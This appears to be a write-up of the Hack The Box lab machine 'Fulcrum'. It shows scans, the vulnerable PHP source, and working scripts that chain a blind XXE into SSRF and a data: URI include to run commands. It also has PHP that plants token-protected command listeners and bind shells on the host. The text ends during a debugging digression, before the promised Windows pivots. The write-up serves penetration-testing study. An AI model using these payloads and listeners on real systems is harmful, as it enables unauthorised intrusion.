HTB: Fulcrum
A blind XXE in a PHP API is used as SSRF to reach a loopback-only file include that runs a data: URI, and credentials left in a script, a web.config, a directory attribute and SYSVOL lead from the Linux host through three Windows guests to Domain Admin.
- Published
- Reading time
- 24 min
- Difficulty
- insane
- Target
- Linux (Fulcrum)
htblinuxwindowsxxessrffile-inclusionwinrmactive-directorypivotingsysvol
Overview
HTB lists Fulcrum, an insane-rated machine, as Linux, although both flags sit on Windows: the address is an Ubuntu host running nginx, PHP and three Windows guests on a libvirt network (a web server, a file server and a domain controller).
The chain: an XML API expands external entities but returns nothing, so it
is a blind request forger. A second site includes a file named in a
parameter for loopback clients only, which the API is, and a data: URI
makes that PHP execution as www-data.
Every later step is a credential left where the previous account could read
it: a script with an encrypted password and its key, a web.config, a user
attribute, and 1,500 logon scripts in SYSVOL.
Three declarations. I had read write-ups of this box and remembered its outline; a step taken from memory says so. My laptop accepts no inbound connections, so nothing below calls back: no out-of-band XXE, remote include or reverse shell. The solve took two sittings on one instance: ten minutes, then 22, 18 of them on a local fault.
[lr exit 0] ends a logged block and bin/kali is a Kali container.
Passwords went to loot/ unprinted; the blocks show lengths.
Reconnaissance
cd ../..; bin/kali fulcrum "nmap -Pn -p- --min-rate 2000 -oN /work/scans/01-full.nmap 10.129.136.254" | grep -E "open|done"
4/tcp open unknown
22/tcp open ssh
80/tcp open http
88/tcp open kerberos-sec
9999/tcp open abyss
56423/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 64.13 seconds
[lr exit 0]
cd ../..; bin/kali fulcrum "nmap -Pn -sC -sV -p 4,22,80,88,9999,56423 -oN /work/scans/02-versions.nmap 10.129.136.254" | grep -vE "^$|Starting|Service detection|^SF"
Nmap scan report for 10.129.136.254
Host is up (0.29s latency).
PORT STATE SERVICE VERSION
4/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_http-server-header: nginx/1.18.0 (Ubuntu)
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
| 256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_ 256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: 502 Bad Gateway
88/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: phpMyAdmin
| http-robots.txt: 1 disallowed entry
|_/
9999/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: 502 Bad Gateway
56423/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: Fulcrum-API Beta
|_http-title: Site doesn't have a title (application/json;charset=utf-8).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Nmap done: 1 IP address (1 host up) scanned in 48.91 seconds
[lr exit 0]
Five of the six ports are nginx; 88 is phpMyAdmin, not Kerberos. Each front page:
for p in 4 80 88 9999 56423; do echo "### port $p /"; curl -s -S -m 25 -i http://10.129.136.254:$p/ | head -30 | cut -c1-300; echo; done
### port 4 /
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Wed, 25 Nov 2026 06:46:32 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
<h1>Under Maintance</h1><p>Please <a href="http://10.129.136.254:4/index.php?page=home">try again</a> later.</p>
[...]
### port 56423 /
HTTP/1.1 200 OK
Date: Wed, 25 Nov 2026 06:46:34 GMT
Content-Type: application/json;charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
Server: Fulcrum-API Beta
{"Heartbeat":{"Ping":"Pong"}}
[...]
The cut, summarised: 80 and 9999 return one nginx 502 page and 88 a
phpMyAdmin login. Port 4 links to index.php?page=home; 56423 answers a
bare GET with a JSON heartbeat. A wordlist scan of port 4 ran in the
background while I probed by hand:
cd ../..; bin/kali fulcrum "ffuf -s -t 30 -timeout 20 -u http://10.129.136.254:4/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt -e .php -mc 200,204,301,302,307,401,403,405,500 2>/dev/null | tee /work/scans/04-raft4.hits; echo done; wc -l /work/scans/04-raft4.hits"
index.php
home.php
upload.php
.
done
4 /work/scans/04-raft4.hits
[lr exit 0]
Attack Surface Analysis
XML API on 56423: CWE-611 used as CWE-918
External entities resolve and nothing parsed is reflected: no file comes back, but the host fetches any URL.
Include on port 4: CWE-98 behind CWE-291
page is included as given for clients at 127.0.0.1, which the API on the
same host is.
Credentials at rest: CWE-321, CWE-260, CWE-522, CWE-798
An encrypted password beside its key in a web root, a clear one in
web.config, one in a user’s info attribute, and 1,500 in SYSVOL scripts.
A Domain Admin used to map a drive: CWE-250
One script carries a Domain Admin’s credential for a task that needs no privilege.
Vulnerability Analysis
Both PHP files were read after the foothold; they explain the probes. The API, from step 20:
[...]
<?php
header('Content-Type:application/json;charset=utf-8');
header('Server: Fulcrum-API Beta');
libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile,LIBXML_NOENT|LIBXML_DTDLOAD);
$input = simplexml_import_dom($dom);
$output = $input->Ping;
//check if ok
if($output == "Ping")
{
$data = array('Heartbeat' => array('Ping' => "Ping"));
}else{
$data = array('Heartbeat' => array('Ping' => "Pong"));
}
echo json_encode($data);
?>
[...]
LIBXML_NOENT|LIBXML_DTDLOAD tells libxml to load the DTD and substitute
its entities, external ones included. The response depends on one
comparison, so the only outputs are that bit and the time the request takes.
The page on port 4, from step 21:
[...]
<?php
if($_SERVER['REMOTE_ADDR'] != "127.0.0.1")
{
echo "<h1>Under Maintance</h1><p>Please <a href=\"http://" . $_SERVER['SERVER_ADDR'] . ":4/index.php?page=home\">try again</a> later.</p>";
}else{
$inc = $_REQUEST["page"];
include($inc.".php");
}
?>
[...]
REMOTE_ADDR is treated as authentication. The appended .php does nothing
against a data: URI: the PHP in it ends with ?> and the suffix is
trailing text. Including a data: URI needs allow_url_include, which the
pool’s php.ini has on (step 33).
Exploitation
Phase 1: a blind request forger
The first probes ask what each endpoint reflects. A helper posts a body to the API:
#!/bin/bash
# POST one body to the API on 56423 and print status, time and body. usage: 05-xml.sh <label> <body>
printf '### %s\n' "$1"
curl -s -S -m 30 -X POST -H 'Content-Type: application/xml' --data-binary "$2" -w '\n[http %{http_code} in %{time_total}s]\n' http://10.129.136.254:56423/ | cut -c1-300
U=http://10.129.136.254:4/index.php; for q in "page=home" "page=nosuchpage" "page=index" "page=../../../../etc/passwd%00" "page=data:text/plain,MARK7x7"; do echo "### port 4 ?$q"; curl -s -S -m 25 -w "\n[http %{http_code} size %{size_download}]\n" "$U?$q" | cut -c1-200; done; bash artifacts/05-xml.sh "well-formed XML, no entity" "<Heartbeat><Ping>Ping</Ping></Heartbeat>"; bash artifacts/05-xml.sh "other value" "<Heartbeat><Ping>MARK7x7</Ping></Heartbeat>"; bash artifacts/05-xml.sh "malformed" "<Heartbeat><Ping>"; bash artifacts/05-xml.sh "internal entity" "<?xml version=\"1.0\"?><!DOCTYPE a [<!ENTITY e \"MARK7x7\">]><Heartbeat><Ping>&e;</Ping></Heartbeat>"; bash artifacts/05-xml.sh "JSON body" "{\"Heartbeat\":{\"Ping\":\"MARK7x7\"}}"
### port 4 ?page=home
<h1>Under Maintance</h1><p>Please <a href="http://10.129.136.254:4/index.php?page=home">try again</a> later.</p>
[http 200 size 113]
### port 4 ?page=nosuchpage
<h1>Under Maintance</h1><p>Please <a href="http://10.129.136.254:4/index.php?page=home">try again</a> later.</p>
[http 200 size 113]
### port 4 ?page=index
<h1>Under Maintance</h1><p>Please <a href="http://10.129.136.254:4/index.php?page=home">try again</a> later.</p>
[http 200 size 113]
### port 4 ?page=../../../../etc/passwd%00
<h1>Under Maintance</h1><p>Please <a href="http://10.129.136.254:4/index.php?page=home">try again</a> later.</p>
[http 200 size 113]
### port 4 ?page=data:text/plain,MARK7x7
<h1>Under Maintance</h1><p>Please <a href="http://10.129.136.254:4/index.php?page=home">try again</a> later.</p>
[http 200 size 113]
### well-formed XML, no entity
{"Heartbeat":{"Ping":"Ping"}}
[http 200 in 0.620848s]
### other value
{"Heartbeat":{"Ping":"Pong"}}
[http 200 in 0.604248s]
### malformed
{"Heartbeat":{"Ping":"Pong"}}
[http 200 in 0.587858s]
### internal entity
{"Heartbeat":{"Ping":"Pong"}}
[http 200 in 0.554087s]
### JSON body
{"Heartbeat":{"Ping":"Pong"}}
[http 200 in 0.529495s]
[lr exit 0]
Port 4 gives the same 113 bytes whatever page holds. The API answers
Ping to the literal value and Pong to everything else. An internal
entity with a marker value gave Pong, which proves nothing, so the next
call used an entity whose value is Ping: if entities expand, the answer
flips.
From memory, declared in the log before the call: the include on port 4 acts
only for loopback clients and appends .php. Also from memory, and not
declared at the time: that an API answering JSON parses XML. The data:
wrapper in place of a remote file is my substitution. A second helper wraps
a URL in an external entity:
#!/bin/bash
# POST an XML body whose external entity makes the API fetch one URL. usage: 06-ssrf.sh <label> <url>
# (the URL must not contain a double quote, & or %-sign-entity syntax; percent-encode PHP code)
bash "$(dirname "$0")/05-xml.sh" "$1" "<?xml version=\"1.0\"?><!DOCTYPE a [<!ENTITY e SYSTEM \"$2\">]><Heartbeat><Ping>&e;</Ping></Heartbeat>"
bash artifacts/05-xml.sh "internal entity whose value is Ping" "<?xml version=\"1.0\"?><!DOCTYPE a [<!ENTITY e \"Ping\">]><Heartbeat><Ping>&e;</Ping></Heartbeat>"; I="http://127.0.0.1:4/index.php?page="; bash artifacts/06-ssrf.sh "external: closed loopback port 5" "http://127.0.0.1:5/"; bash artifacts/06-ssrf.sh "external: port 4 page=home" "${I}home"; bash artifacts/06-ssrf.sh "external: include data: with sleep(0)" "${I}data:text/plain,%3C%3Fphp%20sleep(0)%3B%3F%3E"; bash artifacts/06-ssrf.sh "external: include data: with sleep(6)" "${I}data:text/plain,%3C%3Fphp%20sleep(6)%3B%3F%3E"; bash artifacts/06-ssrf.sh "external: include data: with sleep(0) again" "${I}data:text/plain,%3C%3Fphp%20sleep(0)%3B%3F%3E"; echo "### scan hits so far"; cat scans/04-raft4.hits
### internal entity whose value is Ping
{"Heartbeat":{"Ping":"Ping"}}
[http 200 in 0.605491s]
### external: closed loopback port 5
{"Heartbeat":{"Ping":"Pong"}}
[http 200 in 0.556054s]
### external: port 4 page=home
{"Heartbeat":{"Ping":"Pong"}}
[http 200 in 0.515126s]
### external: include data: with sleep(0)
{"Heartbeat":{"Ping":"Pong"}}
[http 200 in 0.655550s]
### external: include data: with sleep(6)
{"Heartbeat":{"Ping":"Pong"}}
[http 200 in 6.632232s]
### external: include data: with sleep(0) again
{"Heartbeat":{"Ping":"Pong"}}
[http 200 in 0.604113s]
### scan hits so far
index.php
home.php
upload.php
.
[lr exit 0]
The internal entity returns Ping: entities expand. The external ones all
return Pong, but the include of sleep(6) takes 6.63 seconds against 0.6
for sleep(0) before and after it. PHP supplied in a URL runs on the host,
three minutes in.
Phase 2: a shell with output
The first attempt wrote command output into the web root of port 4, to be read back over HTTP, after a 404 control:
# run a file of shell commands on the target as the PHP user: the API on 56423 fetches (external entity) the loopback-only
# include on port 4 with a data: URI holding PHP that runs the base64 command file and writes its output to <name> in the
# web root of port 4; the output is then read back with a GET and the file is left for the next run to overwrite.
# usage: 07-rce.py <commands file> [output name, default o.txt] prints the output
import sys, base64, urllib.parse, urllib.request
T = "10.129.136.254"
cmd = base64.b64encode(open(sys.argv[1], "rb").read()).decode()
name = sys.argv[2] if len(sys.argv) > 2 else "o.txt"
php = '<?php file_put_contents("%s", shell_exec(base64_decode("%s")." 2>&1")); ?>' % (name, cmd)
url = "http://127.0.0.1:4/index.php?page=data:text/plain," + urllib.parse.quote(php, safe="")
xml = '<?xml version="1.0"?><!DOCTYPE a [<!ENTITY e SYSTEM "%s">]><Heartbeat><Ping>&e;</Ping></Heartbeat>' % url
req = urllib.request.Request("http://%s:56423/" % T, data=xml.encode(), headers={"Content-Type": "application/xml"})
urllib.request.urlopen(req, timeout=120).read()
try:
sys.stdout.write(urllib.request.urlopen("http://%s:4/%s" % (T, name), timeout=60).read().decode("latin1"))
except Exception as e:
print("no output file: %s" % e)
id; hostname; uname -a; pwd; ls -la
echo "### index.php"; cat index.php
echo "### addresses"; ip -4 -o addr | cut -c1-80; ip route
echo "### listening"; ss -tlnp 2>/dev/null | cut -c1-110
echo "### firewall"; cat /etc/iptables/rules.v4 /etc/ufw/user.rules 2>&1 | grep -v '^#' | head -30
echo "### nginx sites"; ls -la /etc/nginx/sites-enabled /var/www
echo "### control: /o.txt before"; curl -s -S -m 20 -o /dev/null -w "%{http_code}\n" http://10.129.136.254:4/o.txt; python3 -I artifacts/07-rce.py artifacts/08-enum.sh
### control: /o.txt before
404
no output file: HTTP Error 404: Not Found
[lr exit 0]
Nothing was written. Three questions, each with its own sleep: 2 seconds
if shell_exec works, 4 if the working directory is writable, 8 if
/dev/shm is.
# send one file of PHP code to the loopback include on port 4 through the API's external entity; print the time taken
# usage: 09-php.py <php file>
import sys, time, urllib.parse, urllib.request
php = open(sys.argv[1]).read().strip()
url = "http://127.0.0.1:4/index.php?page=data:text/plain," + urllib.parse.quote(php, safe="")
xml = '<?xml version="1.0"?><!DOCTYPE a [<!ENTITY e SYSTEM "%s">]><Heartbeat><Ping>&e;</Ping></Heartbeat>' % url
req = urllib.request.Request("http://10.129.136.254:56423/", data=xml.encode(), headers={"Content-Type": "application/xml"})
t = time.time(); body = urllib.request.urlopen(req, timeout=120).read()
print("%s -> %d bytes back in %.2fs" % (sys.argv[1], len(body), time.time() - t))
<?php if (false) sleep(2); ?>
python3 -I artifacts/09-php.py artifacts/09-q0.php; cat artifacts/09-q.php; python3 -I artifacts/09-php.py artifacts/09-q.php
artifacts/09-q0.php -> 31 bytes back in 0.52s
<?php if (trim(shell_exec("echo ok")) == "ok") sleep(2); if (is_writable(".")) sleep(4); if (is_writable("/dev/shm")) sleep(8); ?>
artifacts/09-q.php -> 31 bytes back in 10.57s
[lr exit 0]
10.57 seconds is 2 plus 8 over the baseline: commands run, the web root is
not writable, /dev/shm is. With no callback the channel has to be a
listener on the target: PHP’s built-in web server on 31337 serving a
one-line runner that wants a random token, generated into loot/k and put
in place of @@K@@ here:
mkdir -p /dev/shm/.w
cat > /dev/shm/.w/s.php <<'P'
<?php if (($_POST["k"] ?? "") !== "@@K@@") { http_response_code(404); exit; } system(base64_decode($_POST["c"])." 2>&1"); ?>
P
setsid nohup php -S 0.0.0.0:31337 -t /dev/shm/.w > /dev/null 2>&1 &
#!/bin/bash
# run a file of commands through the PHP server started on the target at 31337 (token in loot/k). usage: 10-sh.sh <commands file>
set -euo pipefail
curl -s -S -m 120 --data-urlencode "k@loot/k" --data-urlencode "c=$(base64 -w0 "$1")" http://10.129.136.254:31337/s.php
set -euo pipefail; umask 077; [ -s loot/k ] || openssl rand -hex 16 | tr -d "\n" > loot/k; sed "s/@@K@@/$(cat loot/k)/" artifacts/10-bind.tmpl.sh > loot/10-bind.sh; python3 -I artifacts/07-rce.py loot/10-bind.sh || true; echo "### no token (control)"; curl -s -S -m 20 -o /dev/null -w "%{http_code}\n" -d "c=aWQ=" http://10.129.136.254:31337/s.php; echo "### with token"; bash artifacts/10-sh.sh artifacts/08-enum.sh
[...]
urllib.error.HTTPError: HTTP Error 504: Gateway Time-out
### no token (control)
500
### with token
[lr exit 0]
The launch request ended in a 504 from the API after 60 seconds (traceback cut). The server was up but answered 500 without the token and nothing with it. I then misread three delays in two and a half minutes, for a reason found in review and set out after step 18; each reading gives what I concluded and what the delay shows.
Have PHP read the 500 and write diagnostics into the served directory:
<?php file_put_contents("/dev/shm/.w/o.txt", shell_exec("(id; php -v; ls -la /dev/shm/.w; cat /dev/shm/.w/s.php | sed s/[0-9a-f]\\\\{32\\\\}/TOKEN/; ps aux | grep [p]hp) 2>&1")); ?>
echo "### body of the 500"; curl -s -S -m 20 -i -d "c=aWQ=" http://10.129.136.254:31337/s.php | head -20 | cut -c1-300; python3 -I artifacts/09-php.py artifacts/11-dbg.php; echo "### o.txt through 31337"; curl -s -S -m 20 http://10.129.136.254:31337/o.txt | cut -c1-260
### body of the 500
HTTP/1.0 500 Internal Server Error
Host: 10.129.136.254:31337
Date: Wed, 25 Nov 2026 06:49:34 GMT
Connection: close
X-Powered-By: PHP/7.4.3
Content-type: text/html; charset=UTF-8
artifacts/11-dbg.php -> 31 bytes back in 0.74s
### o.txt through 31337
[lr exit 0]
An empty body, and nothing for the static file. Plainer commands, and the response headers:
<?php file_put_contents("/dev/shm/.w/o.txt", shell_exec("id 2>&1; ls -la /dev/shm/.w 2>&1; wc -c /dev/shm/.w/s.php 2>&1; php -l /dev/shm/.w/s.php 2>&1; php -i 2>&1 | grep -i -E 'disable_functions|display_errors|Loaded Configuration'")); ?>
python3 -I artifacts/09-php.py artifacts/12-dbg.php; curl -s -S -m 20 -i http://10.129.136.254:31337/o.txt | cut -c1-400
artifacts/12-dbg.php -> 31 bytes back in 0.73s
HTTP/1.0 500 Internal Server Error
Host: 10.129.136.254:31337
Date: Wed, 25 Nov 2026 06:49:49 GMT
Connection: close
X-Powered-By: PHP/7.4.3
Content-type: text/html; charset=UTF-8
[lr exit 0]
500 even for a static text file. A second static server, in Python, to read what step 12 wrote:
<?php exec("cd /dev/shm/.w && setsid python3 -m http.server 31338 > /dev/null 2>&1 &"); ?>
python3 -I artifacts/09-php.py artifacts/13-py.php; sleep 2; echo "### o.txt from 12, through python on 31338"; curl -s -S -m 20 -w "\n[http %{http_code}]\n" http://10.129.136.254:31338/o.txt | cut -c1-300
artifacts/13-py.php -> 31 bytes back in 0.60s
### o.txt from 12, through python on 31338
curl: (7) Failed to connect to 10.129.136.254 port 31338 after 240 ms: Could not connect to server
[http 000]
[lr exit 0]
Connection refused. Which tools exist? Meant as a sum of delays: 1
python3, 2 perl, 4 nc, 8 socat, 16 if the file from step 12 exists
and is not empty.
<?php $s = 0; foreach (array("python3" => 1, "perl" => 2, "nc" => 4, "socat" => 8) as $b => $w) { if (trim(shell_exec("command -v $b")) != "") $s += $w; } if (file_exists("/dev/shm/.w/o.txt") && filesize("/dev/shm/.w/o.txt") > 0) $s += 16; sleep($s); ?>
python3 -I artifacts/09-php.py artifacts/14-q.php
artifacts/14-q.php -> 31 bytes back in 16.53s
[lr exit 0]
16.5 seconds. I read 16 alone: the file exists, no tool does. In fact the
delay is the weight of the last true test and says nothing about the tools.
On my reading I wrote a socket listener in PHP, started with php -r. The
filled starter, loot/15-start.php, holds the token and is not shown; this
builds it:
$k = "@@K@@"; $s = stream_socket_server("tcp://0.0.0.0:31339", $e, $m); if (!$s) exit;
while ($c = @stream_socket_accept($s, -1)) { $p = explode(" ", trim(fgets($c, 2097152))); if (count($p) == 2 && $p[0] === $k) { fwrite($c, shell_exec("(" . base64_decode($p[1]) . "\n) 2>&1")); } fclose($c); }
# fill artifacts/15-srv.tmpl.php with the token in loot/k and wrap it as PHP that starts it detached with php -r
# usage: 15-build.py <out.php>
import sys, base64
srv = open("artifacts/15-srv.tmpl.php").read().replace("@@K@@", open("loot/k").read().strip())
b = base64.b64encode(srv.encode()).decode()
open(sys.argv[1], "w").write('<?php exec("setsid php -r \'eval(base64_decode(\\"%s\\"));\' > /dev/null 2>&1 &"); ?>\n' % b)
# run a file of commands through the PHP socket listener on the target (31339, token in loot/k) and print the output
# usage: 15-sh.py <commands file> [timeout seconds, default 120]
import sys, socket, base64
s = socket.create_connection(("10.129.136.254", 31339), timeout=20)
s.settimeout(float(sys.argv[2]) if len(sys.argv) > 2 else 120)
s.sendall(open("loot/k").read().strip().encode() + b" " + base64.b64encode(open(sys.argv[1], "rb").read()) + b"\n")
out = b""
while True:
d = s.recv(65536)
if not d:
break
out += d
sys.stdout.write(out.decode("latin1"))
id
set -euo pipefail; python3 -I artifacts/15-build.py loot/15-start.php; python3 -I artifacts/09-php.py loot/15-start.php; sleep 1; echo "### wrong token (control)"; printf "wrong aWQ=\n" | timeout 10 bash -c "cat > /dev/tcp/10.129.136.254/31339" && echo "sent, nothing comes back by design"; echo "### id"; python3 -I artifacts/15-sh.py artifacts/15-id.sh; echo "### 08-enum.sh"; python3 -I artifacts/15-sh.py artifacts/08-enum.sh
loot/15-start.php -> 31 bytes back in 0.79s
### wrong token (control)
bash: connect: Connection refused
bash: line 1: /dev/tcp/10.129.136.254/31339: Connection refused
### id
[...]
ConnectionRefusedError: [Errno 111] Connection refused
[lr exit 1]
Refused again (traceback cut to its last line). Another intended sum: 1 if
open_basedir is set in the web PHP, 2 if php -r runs, 4 if the runner
passes php -l, 8 if a php -S process exists, 16 if a php -r process
exists.
<?php $s = 0; if (ini_get("open_basedir") != "") $s += 1; if (trim(shell_exec("php -r 'echo 7;' 2>/dev/null")) == "7") $s += 2; if (strpos(shell_exec("php -l /dev/shm/.w/s.php 2>&1"), "No syntax errors") !== false) $s += 4; if (strpos(shell_exec("ps aux 2>&1"), "php -S") !== false) $s += 8; if (strpos(shell_exec("ps aux 2>&1"), "php -r") !== false) $s += 16; sleep($s); ?>
python3 -I artifacts/09-php.py artifacts/16-q.php
artifacts/16-q.php -> 31 bytes back in 9.13s
[lr exit 0]
9.1 seconds. I read 1 plus 8 and blamed the command-line configuration. It
shows only that a php -S process exists and no php -r process does. The
same two questions with -n, which skips php.ini (product knowledge):
<?php $s = 0; if (trim(shell_exec("php -n -r 'echo 7;' 2>/dev/null")) == "7") $s += 2; if (strpos(shell_exec("php -n -l /dev/shm/.w/s.php 2>&1"), "No syntax errors") !== false) $s += 4; sleep($s); ?>
python3 -I artifacts/09-php.py artifacts/17-q.php
artifacts/17-q.php -> 31 bytes back in 4.90s
[lr exit 0]
4.9 seconds: with -n the runner lints, as step 12’s o.txt in the next
listing shows it did without. The built-in server again, with -n, as a
one-line exec on a new port:
<?php exec("setsid php -n -S 0.0.0.0:31340 -t /dev/shm/.w > /dev/null 2>&1 &"); ?>
#!/bin/bash
# run a file of commands through the PHP server started on the target at 31340 (token in loot/k). usage: 10-sh.sh <commands file>
set -euo pipefail
curl -s -S -m 120 --data-urlencode "k@loot/k" --data-urlencode "c=$(base64 -w0 "$1")" http://10.129.136.254:31340/s.php
python3 -I artifacts/09-php.py artifacts/18-start.php; sleep 1; echo "### static o.txt (written by 12)"; curl -s -S -m 20 -w "\n[http %{http_code}]\n" http://10.129.136.254:31340/o.txt | cut -c1-300; echo "### runner without token (control)"; curl -s -S -m 20 -o /dev/null -w "%{http_code}\n" -d "c=aWQ=" http://10.129.136.254:31340/s.php; echo "### 08-enum.sh with token"; bash artifacts/18-sh.sh artifacts/08-enum.sh
artifacts/18-start.php -> 31 bytes back in 0.59s
### static o.txt (written by 12)
uid=33(www-data) gid=33(www-data) groups=33(www-data)
total 8
drwxr-xr-x 2 www-data www-data 80 Nov 25 06:49 .
drwxrwxrwt 3 root root 60 Nov 25 06:48 ..
-rw-r--r-- 1 www-data www-data 1767 Nov 25 06:49 o.txt
-rw-r--r-- 1 www-data www-data 152 Nov 25 06:48 s.php
152 /dev/shm/.w/s.php
No syntax errors detected in /dev/shm/.w/s.php
Loaded Configuration File => /etc/php/7.4/cli/php.ini
disable_functions => no value => no value
display_errors => Off => Off
[http 200]
### runner without token (control)
404
### 08-enum.sh with token
uid=33(www-data) gid=33(www-data) groups=33(www-data)
fulcrum
Linux fulcrum 5.4.0-77-generic #86-Ubuntu SMP Thu Jun 17 02:35:03 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
/dev/shm/.w
total 8
drwxr-xr-x 2 www-data www-data 80 Nov 25 06:49 .
drwxrwxrwt 3 root root 60 Nov 25 06:48 ..
-rw-r--r-- 1 www-data www-data 469 Nov 25 06:49 o.txt
-rw-r--r-- 1 www-data www-data 152 Nov 25 06:48 s.php
### index.php
### addresses
1: lo inet 127.0.0.1/8 scope host lo\ valid_lft forever preferred_lft f
2: ens160 inet 10.129.136.254/16 brd 10.129.255.255 scope global dynamic ens1
3: virbr0 inet 192.168.122.1/24 brd 192.168.122.255 scope global virbr0\
default via 10.129.0.1 dev ens160
10.129.0.0/16 dev ens160 proto kernel scope link src 10.129.136.254
192.168.122.0/24 dev virbr0 proto kernel scope link src 192.168.122.1
### listening
State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
LISTEN 0 4096 0.0.0.0:31340 0.0.0.0:* users:(("cut",pid=1932,fd=3),
LISTEN 0 4096 127.0.0.1:5900 0.0.0.0:*
LISTEN 0 4096 127.0.0.1:5901 0.0.0.0:*
LISTEN 0 4096 127.0.0.1:5902 0.0.0.0:*
LISTEN 0 511 0.0.0.0:9999 0.0.0.0:* users:(("nginx",pid=1210,fd=9
LISTEN 0 511 0.0.0.0:80 0.0.0.0:* users:(("nginx",pid=1210,fd=1
LISTEN 0 32 192.168.122.1:53 0.0.0.0:*
LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:*
LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
LISTEN 0 511 0.0.0.0:88 0.0.0.0:* users:(("nginx",pid=1210,fd=6
LISTEN 0 511 0.0.0.0:4 0.0.0.0:* users:(("nginx",pid=1210,fd=7
LISTEN 0 511 0.0.0.0:56423 0.0.0.0:* users:(("nginx",pid=1210,fd=8
LISTEN 0 4096 0.0.0.0:31337 0.0.0.0:* users:(("php",pid=1771,fd=5))
LISTEN 0 5 0.0.0.0:31338 0.0.0.0:* users:(("python3",pid=1855,fd
LISTEN 0 511 [::]:80 [::]:* users:(("nginx",pid=1210,fd=1
LISTEN 0 128 [::]:22 [::]:*
### firewall
cat: /etc/iptables/rules.v4: No such file or directory
cat: /etc/ufw/user.rules: No such file or directory
### nginx sites
/etc/nginx/sites-enabled:
total 8
drwxr-xr-x 2 root root 4096 May 8 2022 .
drwxr-xr-x 8 root root 4096 May 8 2022 ..
lrwxrwxrwx 1 root root 34 May 8 2022 default -> /etc/nginx/sites-available/default
/var/www:
total 24
drwxr-xr-x 6 root root 4096 May 8 2022 .
drwxr-xr-x 14 root root 4096 May 8 2022 ..
drwxr-xr-x 2 root root 4096 Oct 5 2017 api
drwxr-xr-x 2 root root 4096 Oct 5 2017 html
drwxr-xr-x 11 root root 4096 Oct 5 2017 pma
drwxr-xr-x 2 root root 4096 Oct 5 2017 uploads
[lr exit 0]
A shell with output as www-data, eight minutes after the spawn; the token
control answers 404. The listing shows python3 on 31338 (step 13’s server
had not bound when I asked two seconds later) and loopback listeners on 5900
to 5902, left alone (the guests’ consoles, I assume).
-n was probably not the fix. page is decoded twice, by PHP for
$_REQUEST and by the data: wrapper, and my helpers percent-encode once,
so every + reached the include as a space. Three tests on the laptop after
the stop, in a php:7.4-cli-alpine container:
<?php
// does the data: wrapper turn "+" into a space, and what does "$s += 8" then add up to?
var_dump(file_get_contents("data:text/plain,a+b%2Bc"));
include("data:text/plain,<?php \$s = 0; \$s += 1; \$s += 8; echo 'sum with + in the URI: ', \$s, PHP_EOL; ?>.php");
include("data:text/plain,<?php \$s = 0; \$s %2B= 1; \$s %2B= 8; echo 'sum with %2B in the URI: ', \$s, PHP_EOL; ?>.php");
echo PHP_EOL, PHP_VERSION, PHP_EOL;
docker run --rm -v "$PWD/artifacts/34-plus.php:/t.php:ro" php:7.4-cli-alpine php -d allow_url_include=1 /t.php 2>&1 | grep -v -E "^(Unable|[0-9a-f]{12}|Digest|Status|7.4-cli)"; echo "### plus signs in the base64 of the step 15 starter (count only)"; grep -o "+" loot/15-start.php | wc -l; echo "### where step 10 and step 18 differ"; cat artifacts/18-start.php; grep -c . artifacts/10-bind.tmpl.sh
string(5) "a b+c"
sum with in the URI: 8
.phpsum with + in the URI: 9
.php
7.4.33
### plus signs in the base64 of the step 15 starter (count only)
1
### where step 10 and step 18 differ
<?php exec("setsid php -n -S 0.0.0.0:31340 -t /dev/shm/.w > /dev/null 2>&1 &"); ?>
5
[lr exit 0]
$s += 8 ran as $s = 8: steps 14, 16 and 17 each measured their last true
test, while step 9’s separate sleeps stand. base64_decode skips a space,
so the base64 in 07-rce.py lost its + too. Where the first one falls in
two command files:
# what a command file looked like after the double decode: its base64 with every "+" removed (the data: wrapper makes it a
# space and PHP's base64_decode skips characters outside the alphabet), decoded again. Prints positions and lengths only.
# usage: 35-shift.py <file>...
import sys, base64
for f in sys.argv[1:]:
raw = open(f, "rb").read(); b = base64.b64encode(raw).decode()
n = b.count("+")
if not n:
print("%s: %d bytes, no + in its base64, arrives intact" % (f, len(raw))); continue
c = b.replace("+", "").rstrip("="); c = c[:len(c) - (len(c) % 4 == 1)]; c += "=" * (-len(c) % 4)
got = base64.b64decode(c)
i = next((k for k in range(min(len(raw), len(got))) if raw[k] != got[k]), min(len(raw), len(got)))
line = raw[:i].count(b"\n") + 1; col = i - (raw[:i].rfind(b"\n") + 1) + 1
print("%s: %d bytes, %d lines, %d + in its base64; first differing byte %d = line %d column %d (that line is %d bytes long); %d bytes arrive" % (f, len(raw), raw.count(b"\n"), n, i, line, col, len(raw.split(b"\n")[line - 1]), len(got)))
python3 -I artifacts/36-shift.py artifacts/08-enum.sh loot/10-bind.sh
artifacts/08-enum.sh: 352 bytes, 6 lines, 1 + in its base64; first differing byte 257 = line 5 column 70 (that line is 98 bytes long); 351 bytes arrive
loot/10-bind.sh: 273 bytes, 5 lines, 1 + in its base64; first differing byte 254 = line 5 column 50 (that line is 67 bytes long); 272 bytes arrive
